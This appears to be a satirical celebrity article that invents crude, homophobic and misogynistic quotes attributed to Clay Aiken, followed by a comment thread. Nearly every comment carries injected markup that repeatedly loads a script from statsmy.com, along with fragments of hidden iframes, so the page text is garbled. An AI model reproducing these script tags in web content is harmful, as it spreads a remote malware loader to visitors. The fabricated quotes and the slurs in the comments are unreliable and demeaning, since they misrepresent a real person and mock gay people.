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Clay Aiken Breaks Silence, Admits to Being a 'Vagfreak'
by Ken ReCorr on 8/16/2005 (78)

If this approach does not work Clay plans to eat puppies on his next album.
Raleigh, NC – After two years in the intense media spotlight dodging questions about his sexuality Clay Aiken has an announcement. “I’m a vagina freak,” Aiken proclaimed last week on his personal blog.

Since he burst onto the scene in 2003 as the spunky runner-up to gelatin blob Ruben Studdard, Aiken has been mum on questions about girlfriends, his sexual preference, and any allusion to his body hair. That’s all in the past now as Aiken prepares for the release of his upcoming album “Sing, Sing, Sing (because I’m straight)”.

“I don’t know what the fuss was about,” wrote Aiken on August 7th at www.claymotion.com. “Up until now I’ve never felt the need to publicly announce my feelings for anyone. Does that make me a queen?”

Aiken continued, “Many people go through that ‘phase’ where work is the number one priority, or they just don’t feel like they have time for another person. That was me and let me put the accent on was in that sentence. I am now in love with women!”

The word out of the Aiken camp is that ever since he got his “big boy hair”, Clay has been unstoppable. “All we’re going to say is that we’ve noticed a new Clay,” says manager Joe Pillow. “Clay used to tuck himself in the back of the tour bus after shows. Just him, his MP3 player and George Michael, Elton John, or somebody like that.”

Aiken’s blog lists five new catch phrases that he will be trying out in the near future. One in particular is a message to his young fans. “I just let everyone know upfront – it’s like milk, smell it before you buy it.” While Aiken goes on to acknowledge that vaginas don’t have expiration dates like milk they most certainly can leave a rancid taste that sticks with you for some time, just like “eating Mexican food”.

“When the honey pot is sour, this is one bear that won’t get caught with his hand in the jar.”

Most of Aiken’s new catch phrases should be noted are more or less bits and pieces of crass construction worker vernacular. Unfamiliar with most of them until his recent declaration, Aiken often misuses the phrases or jumbles a few together.

“The other night,” Aiken writes “there was this girl that yelled ‘We’re behind you Clay’ and although she couldn’t hear me, I said, ‘That’s what she said’. It was sooo funny. I really need to pull that one out more.”

By and large sales of his records have not been affected. This follows the long-standing trend in the music industry set by such acts as R. Kelly, Motley Crue, and Gerardo (of ‘Rico Suave’ fame).

Despite the strong sales of his first album “Measure of a Man” Aiken feels like going in a new direction could do nothing but give his long-term career a boost. “Look at Britney, Christina, N’Sync, and Aaliyah. After they started down that slippery slope, if you know what I mean (wink), their careers really took off.” When told that Aaliyah actually died before her sales peaked Aiken paused, “Well there’s always the next album, right?”isplay:none">Share
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1. by Kris on 3/1/2007 4:52:29 PM
Straight or not, I still think I could kick his ass. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Leeds on 3/1/2007 4:52:29 PM
Like Aiken is man enough to eat Mexican food!h=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Kris on 3/1/2007 4:52:29 PM
Aikens and man should never be in the same sentence, unless that sentence is "Aikens is not a man". </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Disgusted on 3/1/2007 4:52:29 PM
I will not dignify your crudeness, vulgarness and ignorance by telling you what I really think. src </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Kenny on 3/1/2007 4:52:29 PM
Sorry Dis, Aiken happens. I think that the faster we learn that the faster we can get past it. src= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Homo on 3/1/2007 4:52:29 PM
We're all homos now.isp </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by Mina on 3/1/2007 4:52:29 PM
You wish you got as much pussy as Clay Aiken.h=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by surprised on 3/1/2007 4:52:29 PM
so now Clay is hetero? what will Kathy Griffen do with that in her D list performance? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by Jim on 3/1/2007 4:52:29 PM
Not funny. Get a life!i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by Leeds on 3/1/2007 4:52:29 PM
Oh your really pissed of the Aiken fan club now Manboobs, either that or half of San Francisco is reacting angrily to losing of their own."0 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
11. by west on 3/1/2007 4:52:29 PM
What's the matter, "too cool for Aiken"? Threatened by him? Jealous? Why else do you waste so much energy on this?isplay:none">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
12. by Luke Skywalker on 3/1/2007 4:52:29 PM
Clay Aiken is my father!"0" style=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
13. by Kenny on 3/1/2007 4:52:29 PM
Leeds - yes, it appears I've stepped in it. Perhaps it was the "eating puppies" thing. West - yes again, I'm all of the things that you suggested and more. Also, my efforts have been rewarded many times over by your comments. Luke -I am truly sorry.i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
14. by Carol on 3/1/2007 4:52:29 PM
Why does this article remind me of another man with manboobs, Simon Cowell? Both of you just can't get over Aiken's sexuality, can you? It's OK, honey, just admit that you want his skinny ass, but have less than zero chances of getting you tiny shriveled dick anywhere near it. Confessing your true intentions will make you feel better.is </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
15. by Clayestina on 3/1/2007 4:52:29 PM
Clay rocks!!!!!isplay:n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
16. by Fanka on 3/1/2007 4:52:29 PM
Nawet nie doczytalam do konca takie to nudne! Claymates ze wszystkich krajow laczcie sie!tp </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
17. by Kris on 3/1/2007 4:52:29 PM
I love clay, I made a pot out of it once... which I ironically later filled with pot.n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
18. by clay_mate_03 on 3/1/2007 4:52:29 PM
It is people like you that put such a stain on American society. Do you know you could get charged with defamation? No, of course you don't. Your ignorance prevents you from learning anything. You will just do anything to make yourself feel like the man you aren't by picking on other people just because you are jealous that you will never be as great as the person you are defaming. Jackass!uil </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
19. by Piekna on 3/1/2007 4:52:29 PM
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20. by I1 on 3/1/2007 4:52:29 PM
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22. by I3 on 3/1/2007 4:52:29 PM
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23. by I4 on 3/1/2007 4:52:29 PM
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24. by I5 on 3/1/2007 4:52:29 PM
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25. by I6 on 3/1/2007 4:52:29 PM
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26. by I7 on 3/1/2007 4:52:29 PM
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27. by I8 on 3/1/2007 4:52:29 PM
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28. by susan on 3/1/2007 4:52:29 PM
You are a such liar. There is no this website "claymotion.com" to blog.n.ru </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
29. by grossed out on 3/1/2007 4:52:29 PM
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30. by courtney on 3/1/2007 4:52:29 PM
is this true what clay said?"0" sty </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
31. by Louisa on 3/1/2007 4:52:29 PM
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32. by Louisa on 3/1/2007 4:52:29 PM
Loveisplay:none"></ifra </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
33. by Louisa on 3/1/2007 4:52:29 PM
Kennyisplay:none"></ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
34. by Louisa on 3/1/2007 4:52:29 PM
Moreisplay:none"></ifra </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
35. by Louisa on 3/1/2007 4:52:29 PM
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36. by Louisa on 3/1/2007 4:52:29 PM
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37. by Louisa on 3/1/2007 4:52:29 PM
High school amateur act performer and all around moron?sid=1 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
38. by Louisa on 3/1/2007 4:52:29 PM
Clay Aikenisplay:none"> </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
39. by maxwell on 3/1/2007 4:52:29 PM
I prefer playing tennis on Clay unless I'm on grass </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
40. by Kris on 3/1/2007 4:52:29 PM
I prefer not to play tennis at all. Unless by tennis you mean... you know, bowling.nem </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
41. by nancy on 3/1/2007 4:52:29 PM
Clay Aiken may well indeed be gay, but what I want to know is WHY he and his sexuality are discussed ad nauseum, when other celebs aren't even the subject of any rumors about that? Is it because he is a goody goody girly guy, sort of, and maybe you're astonished that so many women LOVE him? Well, I have news for you. A BIG portion of the gay community is NOT 'swishy' at all. Did you see that story on 20/20, where people who thought they had GAYDAR were supposed to pick out the 5 straight guys and the 5 gay guys? They didn't do so good, many of them got most of them WRONG. Many gay men DON'T look or act 'GAY', so you never KNOW who you may be a GIANT fan of that is homosexual. Remember that drummer for the Brit Group? NOBODY could believe it when he was charged with molesting a teen boy, as he is so 'normal' looking and macho. It is probably since there are several times during development that sexual preference is determined, if the switch isn't flipped to liking girls, since all fetus' start out female, you have somebody that likes males. It's as simple as that. So stop acting like if somebody is flamboyant they HAVE to be gay, or if they aren't, they can't be gay. Remember that 'All In The Family' Episode, where it turned out Archie's tough ole' football pal WAS gay, and Meathead's soft studious friend that Bunker ridiculed WASN'T? Well, it was right on the money!"0" style=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
42. by Louise on 3/1/2007 4:52:29 PM
Bravo Nancy. I didn't intend to respond to this masterpiece of satire, but your serious post made me do it. I also have been wondering why Clay's sexuality is such issue for many. Conan O'Brien, Kathy Griffith and others seem to be obsessed with it and now the author of the above joined the choir. He probably would start stuttering in Clay's presence but hidden safely under the psudonym he is brave enough to say whatever he wants. I understand Kathy. She, as she admits so often, is crazy about Clay, and - since Clay probably rejected her advances, she assumed that he must by gay. She doesn't probably consider the fact that many men have no appetite for her. Her satire antic is nothing more than wail for Clay's attention. Men, busy with Clay's sexuality issue are gays themselves, desperate to do anything to force him to admit so, or loosers. No regular, successful, and self confident man would waste his time to produce such garbage as the above. Kathy admitted that she has no prove that Clay is gay. Then Kathy, and all of you jokers - shut-up!isplay:none"></ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
43. by Motzaroo on 3/1/2007 4:52:29 PM
Having convserations with yourself, kenny? they have therapy for that, you know..hehen </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
44. by Kenny on 3/1/2007 4:52:29 PM
Surprisingly enough Motzaroo none of these are me...well except the ones that say "Kenny". Oh, and Louisa - I love you too, so now we're even. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
45. by Kenny on 3/1/2007 4:52:29 PM
Nancy - actually I did see that 20/20 and I also saw the bit after that experiment where Stossel said that "gaydar" is 60-70% acurate in most studies. Also, Archie Bunker - like this story - was a satire himself. All of the claims in my story are so over the top I'm surprised anyone actually took the time to get mad. Well, I'm not surprised actually. I wrote a story once about Michael Jackson fathering a brood of puppies and I'm still getting emails on that one. BTW - this story aside I think Clay is a little fruity.<ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
46. by Louise on 3/1/2007 4:52:29 PM
I am Louise not Louisa. I am sure you wanted say that you love me. No warm feelings on my side. I will not post more. It is not worth it."0" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
47. by Kenny on 3/1/2007 4:52:29 PM
No, I meant Louisa. If I had wanted to say "I love Louise" I would have. But sadly I love lamp. I love carpet. I love computer. I no love Louise. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
48. by Kris on 3/1/2007 4:52:29 PM
I love chairon </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
49. by Susan on 3/1/2007 4:52:29 PM
I don't love lampisplay </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
50. by Lulu on 3/1/2007 4:52:29 PM
I love lamp but I do not love chair </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
51. by Katy on 3/1/2007 4:52:29 PM
To all of the people that felt the need to kick and scream and cry because this article "offended" you in some way: Do you people realize how truly pathetic you are? Go light yourselves on fire.tp </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
52. by RT on 3/1/2007 4:52:29 PM
I read the first few sentences, gagged, then didn't read anymore. So yesterday. Catch up with the times, moron. Aiken isn't gay. But pukes like you are, well-- just pukes. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
53. by Chris on 3/1/2007 4:52:29 PM
ow. It isn't that you slammed Aiken, it's that it isn't even funny. It reads like a TomKat spoof meets MadLibone"></ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
54. by Jane on 3/1/2007 4:52:29 PM
Kathy, who is kicking, screaming and crying here? Is that you?go.p </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
55. by amused on 3/1/2007 4:52:29 PM
It's always funny to read articles like this and know, without a doubt, that the Claynuts are going to come out in force. You know that if you all would just let stuff like this roll off your backs people would stop making these remarks. It's because you can't control yourselves at all that makes it all the more hysterical. Firsr the article was hilarious, esp the smell it before you buy it remark. and stop saying that Kenny isn't funny, if you didn't think people would be laughing at Clay you wouldn't care so much. Clay is a homo, get over it and love him anyway. No wonder he's afraid to come out, you all have made it clear that there would be mass suicides were it to be proven he is in fact gay. Damn wonder if I can out him somehow and get rid of some of you crazy freaks. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
56. by bemused on 3/1/2007 4:52:29 PM
Amused, you can only dream, he, he" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
57. by Lulu on 3/1/2007 4:52:29 PM
Is the author of this 12 years old!? I cannot beleive an adult male would write this. I don't understand the fixation with this Clay guy at all. He seems nice. He sings great. He is intelligent. He is charitable. Weird to me that he is ridiculed by many men. I guess the bottom line is men that take this approach have questionalble characters...this has to be the answer.?si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
58. by Kris on 3/1/2007 4:52:29 PM
I want Clay to have my man-babies." </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
59. by Leeds on 3/1/2007 4:52:29 PM
All the things wrong in this world and the youth of today seem upset about a satire article about a talentless fruit. Heed my warning, Aiken's cd's will haunt you in the future. When youre all grown up and a friend or colleague pulls out an Aiken CD with a questioning look and you explain it away as an unwanted gift from Satano </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
60. by Leeds on 3/1/2007 4:52:29 PM
But they will know, they will point and mock. They will spread the word, and you will be cast out to live like a Morlock. Is it really worth it?i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
61. by Mike on 3/1/2007 4:52:29 PM
There is no movement without friction. All of the really big talents were ragged on until they were so hugely popular that it was no longer cool to diss them. Clay will be fine, he is another undeniably huge talent. Manboobs will be feeling pretty stupid one day for his narrow mind and his childishness. src= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
62. by Claytango on 3/1/2007 4:52:29 PM
Hooray! I just knew it! I haven't washed my vagina in a month and now I know it was worth it! src=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
63. by Claytango on 3/1/2007 4:52:29 PM
Hooray! I just knew it! I haven't washed my vagina in a month and now I know it was worth it! src=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
64. by Freaking Hillarious on 3/1/2007 4:52:29 PM
I can't stop laughing! My cats are looking at me funny! Bwhahahahhaha!!!!n. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
65. by claying on 3/1/2007 4:52:29 PM
Not even worth the time to read. What a waste of 30 seconds. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
66. by leeds on 3/1/2007 4:52:29 PM
yes, 30 seconds you can never get back, and 30 seconds we now own, but its in a good cause. Stolen time is the only thing that keeps Motz aliveig </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
67. by bored on 3/1/2007 4:52:29 PM
Mr. Manboobs, I can't believe that you actually sat around and thought all this up. It's not funny. And you're way off the mark. But it doesn't matter, since only Clay defines Clay. It's not your right.< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
68. by Courtney on 3/1/2007 4:52:29 PM
someone posted this awhile back,it was a radio interview with clay the DJ ask clay about the miss america pagent,that was when clay was on.clay said well i'm hoping that with me-just me and 51 women,I'll at least have a chance.Oh come on man(dj says) you don't have a girlfriend yet? clay says,there making me do phone interviews on my day off. do you think there giving me any free time at all?u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
69. by Trudy on 3/1/2007 4:52:29 PM
All I know is if Clay is giving it up, I want some of that!? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
70. by chris on 3/1/2007 4:52:29 PM
General Relativity Einstein's 1916 paper on General Relativity In 1916 Einstein expanded his Special Theory to include the effect of gravitation on the shape of space and the flow of time. This theory, referred to as the General Theory of Relativity, proposed that matter causes space to curve. JPEG Image (66K) Embedding Diagrams Picture a bowling ball on a stretched rubber sheet. GIF Image (62K) The large ball will cause a deformation in the sheet's surface. A baseball dropped onto the sheet will roll toward the bowling ball. Einstein theorized that smaller masses travel toward larger masses not because they are "attracted" by a mysterious force, but because the smaller objects travel through space that is warped by the larger object. Physicists illustrate this idea using embedding diagrams. Contrary to appearances, an embedding diagram does not depict the three-dimensional "space" of our everyday experience. Rather it shows how a 2D slice through familiar 3D space is curved downwards when embedded in flattened hyperspace. We cannot fully envision this hyperspace; it contains seven dimensions, including one for time! Flattening it to 3D allows us to represent the curvature. Embedding diagrams can help us visualize the implications of Einstein's General Theory of Relativity. The Flow of Spacetime?sid </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
71. by Aziza on 3/1/2007 4:52:29 PM
The person who wrote this article is a tad unlearned about Aaliyah. BEFORE her death, she had two platinum albums, "Age Ain't Nothing But A Number" and "One In A Million." Then she had other hits ("Are You That Somebody?" and "Journey to the Past") as part of soundtracks from Dr. Doolittle and Anastasia movies, respectively. She also starred in the "Romeo Must Die" movie. She was one of the executive producers for the soundtrack to that movie. Before her death, she was preparing to do part in the Maxtrix II and III films. And she was in negotiations to do redo the movie, "Sparkle." After her death, the "Queen of the Damned" movie was released. Aaliyah's self-entitled ablum peaked after her death. The CD was released on July 17, 2001 and she died on August 25, 2001. So, we don't know whether that CD would have gone platinum anyway if she had not died. Her official career started when she was 15 and ended at 22 unfortunately. She died after finishing filming on her "Rock the Boat" video. So let the record show that she was a star, a millionaire, actress, executive producer, a multi-plantinum recording artist, and humble person before her death. She was no newcomer; she was a professional.i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
72. by leeds on 3/1/2007 4:52:29 PM
Wow you must hold the record for pointing out Aaliyah is dead the most times in one sitting. You told us she was dead 8 times. Im a pretty quick learner, I got the fact that she is dead in the second sentence.<i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
73. by HUH? on 3/1/2007 4:52:29 PM
Unless you are about to jump in the sack with someone why would you even be thinking about what thier preferences are?isplay:non </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
74. by jenna on 3/1/2007 4:52:29 PM
Well Clay is a better man than most. If you were talking about me in this article, I would be suing about now. I guess Clay has a sense of humor, I sure don't. I think the problem is that you want him and you know you can't have him. hahahaha"0" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
75. by cline on 3/1/2007 4:52:29 PM
The writer is a big loser!"0" style </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
76. by Kris on 3/1/2007 4:52:29 PM
Two words: Opportunity for a three-some. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
77. by Amanda on 3/1/2007 4:52:29 PM
Here's the thing...Clay should be admired for being comfortable enough in his sexuality not to have to prove it to anyone. The fact that he is quiet about his business is something that many guys should take to heart and learn from. Waiting for the right one and marriage is hard to do, but I'm sure that for those of us who do...it will be well rewarded...so I think that everyone should back up off him. He's a man that know what he wants and knows how to get what he deserves!? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
78. by Rann on 3/1/2007 4:52:29 PM
